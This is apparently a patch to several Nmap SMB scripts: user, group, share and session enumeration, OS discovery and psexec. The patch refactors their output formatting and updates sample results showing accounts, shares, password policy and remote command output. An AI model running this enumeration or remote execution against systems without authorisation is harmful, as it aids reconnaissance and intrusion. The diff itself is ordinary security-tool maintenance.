response = response .. string.format(" |_ Creation time: %s\n", os.date("%Y-%m-%d %H:%M:%S", querydomaininfo2_result_8['info']['domain_create_time']))
end
-- Password characteristics
local min_password_length = querydomaininfo2_result_1['info']['min_password_length']
local max_password_age = querydomaininfo2_result_1['info']['max_password_age'] / 60 / 60 / 24
local min_password_age = querydomaininfo2_result_1['info']['min_password_age'] / 60 / 60 / 24
if(min_password_length > 0) then
min_password_length = string.format("%d characters", min_password_length)
if(not(status)) then
local error_table = {}
error_table['name'] = "Domain: " .. domain
error_table['warning'] = "Couldn't get info for the domain: " .. domain_info
table.insert(response, error_table)
else
min_password_length = "n/a"
table.insert(response, domain_info)
end
if(max_password_age > 0 and max_password_age < 5000) then
max_password_age = string.format("%d days", max_password_age)
else
max_password_age = "n/a"
end
if(min_password_age > 0) then
min_password_age = string.format("%d days", min_password_age)
else
min_password_age = "n/a"
end
response = response .. string.format(" |_ Passwords: min length: %s; min age: %s; max age: %s\n", min_password_length, min_password_age, max_password_age)
local lockout_duration = querydomaininfo2_result_12['info']['lockout_duration']
if(lockout_duration < 0) then
lockout_duration = string.format("for %d minutes", querydomaininfo2_result_12['info']['lockout_duration'])
else
lockout_duration = "until manually reset"
end
if(querydomaininfo2_result_12['info']['lockout_threshold'] > 0) then
response = response .. string.format(" |_ Password lockout: %d attempts in under %d minutes will lock the account %s\n", querydomaininfo2_result_12['info']['lockout_threshold'], querydomaininfo2_result_12['info']['lockout_window'] / 60, lockout_duration)
else
response = response .. string.format(" |_ Account lockout disabled\n")
end
if(querydomaininfo2_result_1['info']['password_history_length']) > 0 then
response = response .. string.format(" |_ Password history: %d passwords\n", querydomaininfo2_result_1['info']['password_history_length'])
end
local password_properties = querydomaininfo2_result_1['info']['password_properties']
if(#password_properties > 0) then
response = response .. " |_ Password properties:\n"
for j = 1, #password_properties, 1 do
response = response .. " |_ " .. msrpc.samr_PasswordProperties_tostr(password_properties[j]) .. "\n"
end
end
end
-- Close the connect handle
@@ -283,8 +279,6 @@ action = function(host)
-- Close the SMB session
msrpc.stop_smb(smbstate)
return response
return stdnse.format_output(true, response)
end

View File

@@ -0,0 +1,92 @@
description = [[
Obtains a list of groups from the remote Windows system, as well as a list of the group's users.
This works similarly to enum.exe with the /G switch.
The following MSRPC functions in SAMR are used to find a list of groups and the RIDs of their users. Keep
in mind thatMSRPC refers to groups as 'Aliases'.
* <code>Bind</code>: bind to the SAMR service.
* <code>Connect4</code>: get a connect_handle.
* <code>EnumDomains</code>: get a list of the domains.
* <code>LookupDomain</code>: get the RID of the domains.
* <code>OpenDomain</code>: get a handle for each domain.
* <code>EnumDomainAliases</code>: get the list of groups in the domain.
* <code>OpenAlias</code>: get a handle to each group.
* <code>GetMembersInAlias</code>: get the RIDs of the members in the groups.
* <code>Close</code>: close the alias handle.
* <code>Close</code>: close the domain handle.
* <code>Close</code>: close the connect handle.
Once the RIDs have been termined, the
* <code>Bind</code>: bind to the LSA service.
* <code>OpenPolicy2</code>: get a policy handle.
* <code>LookupSids2</code>: convert SIDs to usernames.
I (Ron Bowes) originally looked into the possibility of using the SAMR function <code>LookupRids2</code>
to convert RIDs to usernames, but the function seemed to return a fault no matter what I tried. Since
enum.exe also switches to LSA to convert RIDs to usernames, I figured they had the same issue and I do
the same thing.
]]
---
-- @usage
-- nmap --script smb-enum-users.nse -p445 <host>
-- sudo nmap -sU -sS --script smb-enum-users.nse -p U:137,T:139 <host>
--
-- @output
-- Host script results:
-- | smb-enum-groups:
-- | | WINDOWS2003\HelpServicesGroup: SUPPORT_388945a0
-- | | WINDOWS2003\IIS_WPG: SYSTEM, SERVICE, NETWORK SERVICE, IWAM_WINDOWS2003
-- | | WINDOWS2003\TelnetClients: <empty>
-- | | Builtin\Print Operators: <empty>
-- | | Builtin\Replicator: <empty>
-- | | Builtin\Network Configuration Operators: <empty>
-- | | Builtin\Performance Monitor Users: <empty>
-- | | Builtin\Users: INTERACTIVE, Authenticated Users, ron, ASPNET, test
-- | | Builtin\Power Users: <empty>
-- | | Builtin\Backup Operators: <empty>
-- | | Builtin\Remote Desktop Users: <empty>
-- | | Builtin\Administrators: Administrator, ron, test
-- | | Builtin\Performance Log Users: NETWORK SERVICE
-- | | Builtin\Guests: Guest, IUSR_WINDOWS2003
-- |_ |_ Builtin\Distributed COM Users: <empty>
-----------------------------------------------------------------------
author = "Ron Bowes"
copyright = "Ron Bowes"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"discovery","intrusive"}
require 'msrpc'
require 'smb'
require 'stdnse'
hostrule = function(host)
return smb.get_port(host) ~= nil
end
action = function(host)
local status, groups = msrpc.samr_enum_groups(host)
if(not(status)) then
return stdnse.format_output(false, "Couldn't enumerate groups: " .. groups)
end
local response = {}
for domain_name, domain_data in pairs(groups) do
for rid, group_data in pairs(domain_data) do
local members = group_data['members']
if(#members > 0) then
members = stdnse.strjoin(", ", group_data['members'])
else
members = "<empty>"
end
table.insert(response, string.format("%s\\%s (RID: %s): %s", domain_name, group_data['name'], rid, members))
end
end
return stdnse.format_output(true, response)
end

View File

@@ -25,7 +25,7 @@ impact the system, besides showing a message box to the user.
-- @output
-- Host script results:
-- | smb-enum-processes:
-- |_ Idle, System, smss, csrss, winlogon, services, logon.scr, lsass, spoolsv, msdtc, VMwareService, svchost, alg, explorer, VMwareTray, VMwareUser, wmiprvse
-- |_ |_ Idle, System, smss, csrss, winlogon, services, logon.scr, lsass, spoolsv, msdtc, VMwareService, svchost, alg, explorer, VMwareTray, VMwareUser, wmiprvse
--
-- --
-- Host script results:
@@ -281,7 +281,7 @@ action = function(host)
-- Produce final output.
if nmap.verbosity() == 0 then
response = stdnse.strjoin(", ", names)
response = "|_ " .. stdnse.strjoin(", ", names)
else
response = " \n" .. psl_print(psl, nmap.verbosity())
end

View File

@@ -48,7 +48,7 @@ the system, besides showing a message box to the user.
-- Host script results:
-- | smb-enum-sessions:
-- | Users logged in:
-- | |_ TESTBOX\Administrator since 2008-10-21 08:17:14
-- | | TESTBOX\Administrator since 2008-10-21 08:17:14
-- | |_ DOMAIN\rbowes since 2008-10-20 09:03:23
-- | Active SMB Sessions:
-- |_ |_ ADMINISTRATOR is connected from 10.100.254.138 for [just logged in, it's probably you], idle for [not idle]
@@ -264,39 +264,41 @@ end
action = function(host)
-- TRACEBACK[coroutine.running()] = true;
local response = " \n"
local response = {}
local status1, status2
-- Enumerate the logged in users
local logged_in = {}
logged_in['name'] = "Users logged in"
status1, users = winreg_enum_rids(host)
if(status1 == false) then
response = response .. "ERROR: Couldn't enumerate login sessions: " .. users .. "\n"
logged_in['warning'] = "Couldn't enumerate login sessions: " .. users
else
response = response .. "Users logged in:\n"
if(#users == 0) then
response = response .. "|_ <nobody>\n"
table.insrt(response, "<nobody>")
else
for i = 1, #users, 1 do
if(users[i]['name'] ~= nil) then
response = response .. string.format("|_ %s\\%s since %s\n", users[i]['domain'], users[i]['name'], users[i]['changed_date'])
table.insert(logged_in, string.format("%s\\%s since %s", users[i]['domain'], users[i]['name'], users[i]['changed_date']))
end
end
end
end
table.insert(response, logged_in)
-- Get the connected sessions
local sessions_output = {}
sessions_output['name'] = "Active SMB sessions"
status2, sessions = srvsvc_enum_sessions(host)
if(status2 == false) then
response = response .. "ERROR: Couldn't enumerate network sessions: " .. sessions .. "\n"
sessions['warning'] = "Couldn't enumerate network sessions: " .. sessions
else
response = response .. "Active SMB Sessions:\n"
if(#sessions == 0) then
response = response .. "|_ <none>\n"
table.insert(sessions_output, "<none>")
else
-- Format the result
for i = 1, #sessions, 1 do
local time = sessions[i]['time']
if(time == 0) then
time = "[just logged in, it's probably you]"
@@ -318,21 +320,14 @@ action = function(host)
else
idle_time = string.format("%02dm%02ds", idle_time / 60, idle_time % 60)
end
response = response .. string.format("|_ %s is connected from %s for %s, idle for %s\n", sessions[i]['user'], sessions[i]['client'], time, idle_time)
table.insert(sessions_output, string.format("%s is connected from %s for %s, idle for %s", sessions[i]['user'], sessions[i]['client'], time, idle_time))
end
end
end
table.insert(response, sessions_output)
if(status1 == false and status2 == false) then
if(nmap.debugging() > 0) then
return response
else
return nil
end
else
return response
end
return stdnse.format_output(true, response)
end

View File

@@ -29,36 +29,28 @@ for shares that require a user account.
--
--@output
-- Host script results:
-- | smb-enum-shares:
-- | ADMIN$
-- | |_ Type: STYPE_DISKTREE_HIDDEN
-- | |_ Comment: Remote Admin
-- | |_ Users: 0, Max: <unlimited>
-- | |_ Path: C:\WINNT
-- | |_ Anonymous access: <none>
-- | |_ Current user ('test') access: READ/WRITE
-- | C$
-- | |_ Type: STYPE_DISKTREE_HIDDEN
-- | |_ Comment: Default share
-- | |_ Users: 0, Max: <unlimited>
-- | |_ Path: C:\
-- | |_ Anonymous access: <none>
-- | |_ Current user ('test') access: READ
-- | IPC$
-- | |_ Type: STYPE_IPC_HIDDEN
-- | |_ Comment: Remote IPC
-- | |_ Users: 1, Max: <unlimited>
-- | |_ Path:
-- | |_ Anonymous access: READ <not a file share>
-- | |_ Current user ('test') access: READ <not a file share>
-- | test
-- | |_ Type: STYPE_DISKTREE
-- | |_ Comment: This is a test share, with a maximum of 7 users
-- | |_ Users: 0, Max: 7
-- | |_ Path: C:\Documents and Settings\Ron\Desktop\test
-- | |_ Anonymous access: <none>
-- |_ |_ Current user ('test') access: READ/WRITE
-- | smb-enum-shares:
-- | | ADMIN$
-- | | | Type: STYPE_DISKTREE_HIDDEN
-- | | | Comment: Remote Admin
-- | | | Users: 0, Max: <unlimited>
-- | | | Path: C:\WINNT
-- | | | Anonymous access: <none>
-- | | |_ Current user ('administrator') access: READ/WRITE
-- | | C$
-- | | | Type: STYPE_DISKTREE_HIDDEN
-- | | | Comment: Default share
-- | | | Users: 0, Max: <unlimited>
-- | | | Path: C:\
-- | | | Anonymous access: <none>
-- | | |_ Current user ('administrator') access: READ
-- | | IPC$
-- | | | Type: STYPE_IPC_HIDDEN
-- | | | Comment: Remote IPC
-- | | | Users: 1, Max: <unlimited>
-- | | | Path:
-- | | | Anonymous access: READ <not a file share>
-- |_ |_ |_ Current user ('administrator') access: READ <not a file share>
-----------------------------------------------------------------------
author = "Ron Bowes"
@@ -74,14 +66,14 @@ hostrule = function(host)
return smb.get_port(host) ~= nil
end
local function go(host)
action = function(host)
local status, shares, extra
local response = " \n"
local response = {}
-- Get the list of shares
status, shares, extra = smb.share_get_list(host)
if(status == false) then
return false, string.format("Couldn't enumerate shares: %s", shares)
return stdnse.format_output(false, string.format("Couldn't enumerate shares: %s", shares))
end
-- Find out who the current user is
@@ -91,25 +83,24 @@ local function go(host)
domain = ""
end
if(extra ~= nil) then
response = response .. extra .. "\n"
if(extra ~= nil and extra ~= '') then
table.insert(response, extra)
end
for i = 1, #shares, 1 do
local share = shares[i]
local share_output = {}
share_output['name'] = share['name']
-- Start generating a human-readable string
response = response .. share['name'] .. "\n"
if(type(share['details']) ~= 'table') then
response = response .. string.format("|_ Couldn't get details for share: %s\n", share['details'])
share_output['warning'] = string.format("Couldn't get details for share: %s", share['details'])
else
local details = share['details']
response = response .. string.format("|_ Type: %s\n", details['sharetype'])
response = response .. string.format("|_ Comment: %s\n", details['comment'])
response = response .. string.format("|_ Users: %s, Max: %s\n", details['current_users'], details['max_users'])
response = response .. string.format("|_ Path: %s\n", details['path'])
table.insert(share_output, string.format("Type: %s", details['sharetype']))
table.insert(share_output, string.format("Comment: %s", details['comment']))
table.insert(share_output, string.format("Users: %s, Max: %s", details['current_users'], details['max_users']))
table.insert(share_output, string.format("Path: %s", details['path']))
end
@@ -117,64 +108,47 @@ local function go(host)
if(share['user_can_write'] == "NT_STATUS_OBJECT_NAME_NOT_FOUND") then
-- Print details for a non-file share
if(share['anonymous_can_read']) then
response = response .. "|_ Anonymous access: READ <not a file share>\n"
table.insert(share_output, "Anonymous access: READ <not a file share>")
else
response = response .. "|_ Anonymous access: <none> <not a file share>\n"
table.insert(share_output, "Anonymous access: <none> <not a file share>")
end
-- Don't bother printing this if we're already anonymous
if(username ~= '') then
if(share['user_can_read']) then
response = response .. "|_ Current user ('" .. username .. "') access: READ <not a file share>\n"
table.insert(share_output, "Current user ('" .. username .. "') access: READ <not a file share>")
else
response = response .. "|_ Current user ('" .. username .. "') access: <none> <not a file share>\n"
table.insert(share_output, "Current user ('" .. username .. "') access: <none> <not a file share>")
end
end
else
-- Print details for a file share
if(share['anonymous_can_read'] and share['anonymous_can_write']) then
response = response .. "|_ Anonymous access: READ/WRITE\n"
table.insert(share_output, "Anonymous access: READ/WRITE")
elseif(share['anonymous_can_read'] and not(share['anonymous_can_write'])) then
response = response .. "|_ Anonymous access: READ\n"
table.insert(share_output, "Anonymous access: READ")
elseif(not(share['anonymous_can_read']) and share['anonymous_can_write']) then
response = response .. "|_ Anonymous access: WRITE\n"
table.insert(share_output, "Anonymous access: WRITE")
else
response = response .. "|_ Anonymous access: <none>\n"
table.insert(share_output, "Anonymous access: <none>")
end
if(username ~= '') then
if(share['user_can_read'] and share['user_can_write']) then
response = response .. "|_ Current user ('" .. username .. "') access: READ/WRITE\n"
table.insert(share_output, "Current user ('" .. username .. "') access: READ/WRITE")
elseif(share['user_can_read'] and not(share['user_can_write'])) then
response = response .. "|_ Current user ('" .. username .. "') access: READ\n"
table.insert(share_output, "Current user ('" .. username .. "') access: READ")
elseif(not(share['user_can_read']) and share['user_can_write']) then
response = response .. "|_ Current user ('" .. username .. "') access: WRITE\n"
table.insert(share_output, "Current user ('" .. username .. "') access: WRITE")
else
response = response .. "|_ Current user ('" .. username .. "') access: <none>\n"
table.insert(share_output, "Current user ('" .. username .. "') access: <none>")
end
end
end
table.insert(response, share_output)
end
return true, response
return stdnse.format_output(true, response)
end
action = function(host)
local status, result
status, result = go(host)
if(status == false) then
if(nmap.debugging() > 0) then
return "ERROR: " .. result
end
else
return result
end
end

View File

@@ -99,42 +99,30 @@ the code I wrote for this is largely based on the techniques used by them.
-- @output
-- Host script results:
-- | smb-enum-users:
-- |_ TESTBOX\Administrator, EXTERNAL\DnsAdmins, TESTBOX\Guest,
-- EXTERNAL\HelpServicesGroup, EXTERNAL\PARTNERS$, TESTBOX\SUPPORT_388945a0
-- |_ |_ Domain: RON-WIN2K-TEST; Users: Administrator, Guest, IUSR_RON-WIN2K-TEST, IWAM_RON-WIN2K-TEST, test1234, TsInternetUser
--
-- Host script results:
-- | smb-enum-users:
-- | Administrator
-- | |_ Type: User
-- | |_ Domain: LOCALSYSTEM
-- | |_ Full name: Built-in account for administering the computer/domain
-- | |_ Flags: Normal account, Password doesn't expire
-- | DnsAdmins
-- | |_ Type: Alias
-- | |_ Domain: EXTRANET
-- | EventViewer
-- | |_ Type: User
-- | |_ Domain: SHARED
-- | ProxyUsers
-- | |_ Type: Group
-- | |_ Domain: EXTRANET
-- | ComputerAccounts
-- | |_ Type: Group
-- | |_ Domain: EXTRANET
-- | Helpdesk
-- | |_ Type: Group
-- | |_ Domain: EXTRANET
-- | Guest
-- | |_ Type: User
-- | |_ Domain: LOCALSYSTEM
-- | |_ Full name: Built-in account for guest access to the computer/domain
-- | |_ Flags: Normal account, Disabled, Password not required, Password doesn't expire
-- | Staff
-- | |_ Type: Alias
-- | |_ Domain: LOCALSYSTEM
-- | Students
-- | |_ Type: Alias
-- |_ |_ Domain: LOCALSYSTEM
-- | | RON-WIN2K-TEST\Administrator (RID: 500)
-- | | | Description: Built-in account for administering the computer/domain
-- | | |_ Flags: Password does not expire, Normal user account
-- | | RON-WIN2K-TEST\Guest (RID: 501)
-- | | | Description: Built-in account for guest access to the computer/domain
-- | | |_ Flags: Password not required, Password does not expire, Normal user account
-- | | RON-WIN2K-TEST\IUSR_RON-WIN2K-TEST (RID: 1001)
-- | | | Full name: Internet Guest Account
-- | | | Description: Built-in account for anonymous access to Internet Information Services
-- | | |_ Flags: Password not required, Password does not expire, Normal user account
-- | | RON-WIN2K-TEST\IWAM_RON-WIN2K-TEST (RID: 1002)
-- | | | Full name: Launch IIS Process Account
-- | | | Description: Built-in account for Internet Information Services to start out of process applications
-- | | |_ Flags: Password not required, Password does not expire, Normal user account
-- | | RON-WIN2K-TEST\test1234 (RID: 1005)
-- | | |_ Flags: Normal user account
-- | | RON-WIN2K-TEST\TsInternetUser (RID: 1000)
-- | | | Full name: TsInternetUser
-- | | | Description: This user account is used by Terminal Services.
-- |_ |_ |_ Flags: Password not required, Password does not expire, Normal user account
--
-- @args lsaonly If set, script will only enumerate using an LSA bruteforce (requires less
-- access than samr). Only set if you know what you're doing, you'll get better results
@@ -165,112 +153,109 @@ action = function(host)
local samr_result = "Didn't run"
local lsa_result = "Didn't run"
local names = {}
local name_strings = {}
local response = " \n"
local names_lookup = {}
local response = {}
local samronly = nmap.registry.args.samronly
local lsaonly = nmap.registry.args.lsaonly
local do_samr = samronly ~= nil or (samronly == nil and lsaonly == nil)
local do_lsa = lsaonly ~= nil or (samronly == nil and lsaonly == nil)
-- Try enumerating through LSA first. Since LSA provides less information, we want the
-- SAMR result to overwrite it.
if(do_lsa) then
lsa_status, lsa_result = msrpc.lsa_enum_users(host)
if(lsa_status == false) then
if(nmap.debugging() > 0) then
response = response .. "ERROR: Couldn't enumerate through LSA: " .. lsa_result .. "\n"
end
else
-- Copy the returned array into the names[] table, using the name as the key
stdnse.print_debug(2, "EnumUsers: Received %d names from LSA", #lsa_result)
for i = 1, #lsa_result, 1 do
if(lsa_result[i]['name'] ~= nil) then
names[string.upper(lsa_result[i]['name'])] = lsa_result[i]
end
-- Try enumerating through SAMR. This is the better source of information, if we can get it.
if(do_samr) then
samr_status, samr_result = msrpc.samr_enum_users(host)
if(samr_status) then
-- Copy the returned array into the names[] table
stdnse.print_debug(2, "EnumUsers: Received %d names from SAMR", #samr_result)
for i = 1, #samr_result, 1 do
-- Insert the full info into the names list
table.insert(names, samr_result[i])
-- Set the names_lookup value to 'true' to avoid duplicates
names_lookup[samr_result[i]['name']] = true
end
end
end
-- Try enumerating through SAMR
if(do_samr) then
samr_status, samr_result = msrpc.samr_enum_users(host)
if(samr_status == false) then
if(nmap.debugging() > 0) then
response = response .. "ERROR: Couldn't enumerate through SAMR: " .. samr_result .. "\n"
end
else
-- Copy the returned array into the names[] table, using the name as the key
stdnse.print_debug(2, "EnumUsers: Received %d names from SAMR", #samr_result)
for i = 1, #samr_result, 1 do
names[string.upper(samr_result[i]['name'])] = samr_result[i]
-- Try enumerating through LSA.
if(do_lsa) then
lsa_status, lsa_result = msrpc.lsa_enum_users(host)
if(lsa_status) then
-- Copy the returned array into the names[] table
stdnse.print_debug(2, "EnumUsers: Received %d names from LSA", #lsa_result)
for i = 1, #lsa_result, 1 do
if(lsa_result[i]['name'] ~= nil) then
-- Check if the name already exists
if(not(names_lookup[lsa_result[i]['name']])) then
table.insert(names, lsa_result[i])
end
end
end
end
end
-- Check if both failed
if(samr_status == false and lsa_status == false) then
if(nmap.debugging() > 0) then
return response
else
return nil
if(string.find(lsa_result, 'ACCESS_DENIED')) then
return stdnse.format_output(false, "Access denied while trying to enumerate users; except against Windows 2000, Guest or better is typically required")
end
return stdnse.format_output(false, {"Couldn't enumerate users", "SAMR returned " .. samr_result, "LSA returned " .. lsa_result})
end
-- Put the names into an array of strings, so we can sort them
for name, details in pairs(names) do
name_strings[#name_strings + 1] = names[name]['name']
end
-- Sort them
table.sort(name_strings, function (a, b) return string.lower(a) < string.lower(b) end)
table.sort(names, function (a, b) return string.lower(a.name) < string.lower(b.name) end)
-- Break them out by domain
local domains = {}
for _, name in ipairs(names) do
local domain = name['domain']
-- Make sure the entry in the domains table exists
if(not(domains[domain])) then
domains[domain] = {}
end
table.insert(domains[domain], name)
end
-- Check if we actually got any names back
if(#name_strings == 0) then
response = response .. "Couldn't find any account names anonymously, sorry!"
if(#names == 0) then
table.insert(response, "Couldn't find any account names, sorry!")
else
-- If we're not verbose, just print out the names. Otherwise, print out everything we can
if(nmap.verbosity() < 1) then
local response_array = {}
for i = 1, #name_strings, 1 do
local name = string.upper(name_strings[i])
response_array[#response_array + 1] = (names[name]['domain'] .. "\\" .. names[name]['name'])
end
response = response .. stdnse.strjoin(", ", response_array)
else
for i = 1, #name_strings, 1 do
local name = string.upper(name_strings[i])
response = response .. string.format("%s\n", names[name]['name'])
if(names[name]['typestr'] ~= nil) then response = response .. string.format(" |_ Type: %s\n", names[name]['typestr']) end
if(names[name]['domain'] ~= nil) then response = response .. string.format(" |_ Domain: %s\n", names[name]['domain']) end
if(nmap.verbosity() > 1) then
if(names[name]['rid'] ~= nil) then response = response .. string.format(" |_ RID: %s\n", names[name]['rid']) end
for domain, domain_users in pairs(domains) do
-- Make an impromptu list of users
local names = {}
for _, info in ipairs(domain_users) do
table.insert(names, info['name'])
end
if(names[name]['fullname'] ~= nil) then response = response .. string.format(" |_ Full name: %s\n", names[name]['fullname']) end
if(names[name]['description'] ~= nil) then response = response .. string.format(" |_ Description: %s\n", names[name]['description']) end
if(names[name]['flags'] ~= nil) then response = response .. string.format(" |_ Flags: %s\n", stdnse.strjoin(", ", names[name]['flags'])) end
-- Add this domain to the response
table.insert(response, string.format("Domain: %s; Users: %s", domain, stdnse.strjoin(", ", names)))
end
else
for domain, domain_users in pairs(domains) do
for _, info in ipairs(domain_users) do
local response_part = {}
response_part['name'] = string.format("%s\\%s (RID: %d)", domain, info['name'], info['rid'])
if(nmap.verbosity() > 1) then
if(names[name]['source'] ~= nil) then response = response .. string.format(" |_ Source: %s\n", names[name]['source']) end
if(info['fullname']) then
table.insert(response_part, string.format("Full name: %s", info['fullname']))
end
if(info['description']) then
table.insert(response_part, string.format("Description: %s", info['description']))
end
if(info['flags']) then
table.insert(response_part, string.format("Flags: %s", stdnse.strjoin(", ", info['flags'])))
end
table.insert(response, response_part)
end
end
end
end
return response
return stdnse.format_output(true, response)
end
--real_action = action
--
-- function action (...)
-- local t = {n = select("#", ...), ...};
-- local status, ret = xpcall(function() return real_action(unpack(t, 1, t.n)) end, debug.traceback)
--
-- if not status then
-- error(ret)
-- end
--
-- return ret
-- end

View File

@@ -27,10 +27,11 @@ they likely won't change the outcome in any meaningful way.
-- sudo nmap -sU -sS --script smb-os-discovery.nse -p U:137,T:139 127.0.0.1
--
--@output
-- | smb-os-discovery: Windows 2000
-- | LAN Manager: Windows 2000 LAN Manager
-- | Name: WORKGROUP\TEST1
-- |_ System time: 2008-09-09 20:55:55 UTC-5
-- Host script results:
-- | smb-os-discovery:
-- | | OS: Windows 2000 (Windows 2000 LAN Manager)
-- | | Name: WORKGROUP\RON-WIN2K-TEST
-- |_ |_ System time: 2009-11-09 14:33:39 UTC-6
-----------------------------------------------------------------------
author = "Ron Bowes"
@@ -61,18 +62,18 @@ function get_windows_version(os)
end
action = function(host)
local response = {}
local status, result = smb.get_os(host)
if(status == false) then
if(nmap.debugging() > 0) then
return "smb-os-discovery: ERROR: " .. result
else
return nil
end
return stdnse.format_output(false, result)
end
return string.format("%s\nLAN Manager: %s\nName: %s\\%s\nSystem time: %s %s\n", get_windows_version(result['os']), result['lanmanager'], result['domain'], result['server'], result['date'], result['timezone_str'])
table.insert(response, string.format("OS: %s (%s)", get_windows_version(result['os']), result['lanmanager']))
table.insert(response, string.format("Name: %s\\%s", result['domain'], result['server']))
table.insert(response, string.format("System time: %s %s", result['date'], result['timezone_str']))
return stdnse.format_output(true, response)
end

View File

@@ -304,32 +304,82 @@ Some ideas for later versions:
--
-- @output
-- Host script results:
-- | smb-psexec:
-- | IP Address and MAC Address from 'ipconfig.exe'
-- | | Ethernet adapter Local Area Connection:
-- | | MAC Address: 00:0C:29:12:E6:DB
-- | |_ IP Address: 192.168.1.21
-- |
-- | User list from 'net user'
-- | | Administrator Guest ron
-- | |_SUPPORT_388945a0 test
-- |
-- | Membership of 'administrators' from 'net localgroup administrators'
-- | | Administrator
-- | | ron
-- | |_test
-- |
-- | Can the host ping our address?
-- | | Pinging 192.168.1.100 with 32 bytes of data:
-- | |_Reply from 192.168.1.100: bytes=32 time<1ms TTL=64
-- |
-- | Traceroute back to the scanner
-- | |_ 1 <1 ms <1 ms <1 ms 192.168.1.100
-- |
-- | ARP Cache from arp.exe
-- | | Internet Address Physical Address Type
-- | |_ 192.168.1.100 00-21-9b-e5-78-ea dynamic
-- |_
-- | smb-psexec:
-- | | Windows version
-- | | |_ Microsoft Windows 2000 [Version 5.00.2195]
-- | | IP Address and MAC Address from 'ipconfig.exe'
-- | | | Ethernet adapter Local Area Connection 2:
-- | | | MAC Address: 00:50:56:A1:24:C2
-- | | | IP Address: 10.0.0.30
-- | | | Ethernet adapter Local Area Connection:
-- | | |_ MAC Address: 00:50:56:A1:00:65
-- | | User list from 'net user'
-- | | | Administrator TestUser3 Guest
-- | | | IUSR_RON-WIN2K-TEST IWAM_RON-WIN2K-TEST nmap
-- | | | rontest123 sshd SvcCOPSSH
-- | | |_ test1234 Testing TsInternetUser
-- | | Membership of 'administrators' from 'net localgroup administrators'
-- | | | Administrator
-- | | | SvcCOPSSH
-- | | | test1234
-- | | |_ Testing
-- | | Can the host ping our address?
-- | | | Pinging 10.0.0.138 with 32 bytes of data:
-- | | |_ Reply from 10.0.0.138: bytes=32 time<10ms TTL=64
-- | | Traceroute back to the scanner
-- | | |_ 1 <10 ms <10 ms <10 ms 10.0.0.138
-- | | ARP Cache from arp.exe
-- | | | Internet Address Physical Address Type
-- | | |_ 10.0.0.138 00-50-56-a1-27-4b dynamic
-- | | List of listening and established connections (netstat -an)
-- | | | Proto Local Address Foreign Address State
-- | | | TCP 0.0.0.0:22 0.0.0.0:0 LISTENING
-- | | | TCP 0.0.0.0:25 0.0.0.0:0 LISTENING
-- | | | TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
-- | | | TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
-- | | | TCP 0.0.0.0:443 0.0.0.0:0 LISTENING
-- | | | TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
-- | | | TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING
-- | | | TCP 0.0.0.0:1028 0.0.0.0:0 LISTENING
-- | | | TCP 0.0.0.0:1029 0.0.0.0:0 LISTENING
-- | | | TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
-- | | | TCP 0.0.0.0:4933 0.0.0.0:0 LISTENING
-- | | | TCP 10.0.0.30:139 0.0.0.0:0 LISTENING
-- | | | TCP 127.0.0.1:2528 127.0.0.1:2529 ESTABLISHED
-- | | | TCP 127.0.0.1:2529 127.0.0.1:2528 ESTABLISHED
-- | | | TCP 127.0.0.1:2531 127.0.0.1:2532 ESTABLISHED
-- | | | TCP 127.0.0.1:2532 127.0.0.1:2531 ESTABLISHED
-- | | | TCP 127.0.0.1:5152 0.0.0.0:0 LISTENING
-- | | | TCP 127.0.0.1:5152 127.0.0.1:2530 CLOSE_WAIT
-- | | | UDP 0.0.0.0:135 *:*
-- | | | UDP 0.0.0.0:445 *:*
-- | | | UDP 0.0.0.0:1030 *:*
-- | | | UDP 0.0.0.0:3456 *:*
-- | | | UDP 10.0.0.30:137 *:*
-- | | | UDP 10.0.0.30:138 *:*
-- | | | UDP 10.0.0.30:500 *:*
-- | | | UDP 10.0.0.30:4500 *:*
-- | | |_ UDP 127.0.0.1:1026 *:*
-- | | Full routing table from 'netstat -nr'
-- | | | ===========================================================================
-- | | | Interface List
-- | | | 0x1 ........................... MS TCP Loopback interface
-- | | | 0x2 ...00 50 56 a1 00 65 ...... VMware Accelerated AMD PCNet Adapter
-- | | | 0x1000004 ...00 50 56 a1 24 c2 ...... VMware Accelerated AMD PCNet Adapter
-- | | | ===========================================================================
-- | | | ===========================================================================
-- | | | Active Routes:
-- | | | Network Destination Netmask Gateway Interface Metric
-- | | | 10.0.0.0 255.255.255.0 10.0.0.30 10.0.0.30 1
-- | | | 10.0.0.30 255.255.255.255 127.0.0.1 127.0.0.1 1
-- | | | 10.255.255.255 255.255.255.255 10.0.0.30 10.0.0.30 1
-- | | | 127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1
-- | | | 224.0.0.0 224.0.0.0 10.0.0.30 10.0.0.30 1
-- | | | 255.255.255.255 255.255.255.255 10.0.0.30 2 1
-- | | | ===========================================================================
-- | | | Persistent Routes:
-- | | | None
-- |_ |_ |_ Route Table
--
--@args config The config file to use (eg, default). Config files require a .lua extension, and are located in nselib/data/psexec.
--@args nohide Don't set the uploaded files to hidden/system/etc.
@@ -742,7 +792,8 @@ local function get_config(host)
if(#missing_args > 0) then
enabled = false
mod.disabled_message = {}
table.insert(mod.disabled_message, string.format("Configuration error: Required argument(s) ('%s') weren't given. Please add --script-args=[arg]=[value] to your commandline to run this module", stdnse.strjoin("', '", missing_args)))
table.insert(mod.disabled_message, string.format("Configuration error: Required argument(s) ('%s') weren't given.", stdnse.strjoin("', '", missing_args)))
table.insert(mod.disabled_message, string.format("Please add --script-args=[arg]=[value] to your commandline to run this module"))
if(#missing_args == 1) then
table.insert(mod.disabled_message, string.format("For example: --script-args=%s=123", missing_args[1]))
else
@@ -763,6 +814,7 @@ local function get_config(host)
if(mod.url) then
stdnse.print_debug(1, "You can try getting it from: %s", mod.url)
table.insert(mod.disabled_message, string.format("You can try getting it from: %s", mod.url))
table.insert(mod.disabled_message, "And placing it in Nmap's nselib/data/psexec/ directory")
end
else
-- We found it
@@ -1189,7 +1241,7 @@ local function parse_output(config, data)
-- If we're including it, do the replacements
if(include) then
line = do_replacements(mod, line)
table.insert(result['lines'], line)
table.insert(result, line)
end
end
end
@@ -1207,7 +1259,10 @@ local function parse_output(config, data)
if(type(mod.disabled_message) == 'string') then
mod.disabled_message = {mod.disabled_message}
end
result['lines'] = mod.disabled_message
for _, message in ipairs(mod.disabled_message) do
table.insert(result, "WARNING: " .. message)
end
table.insert(results, result)
end
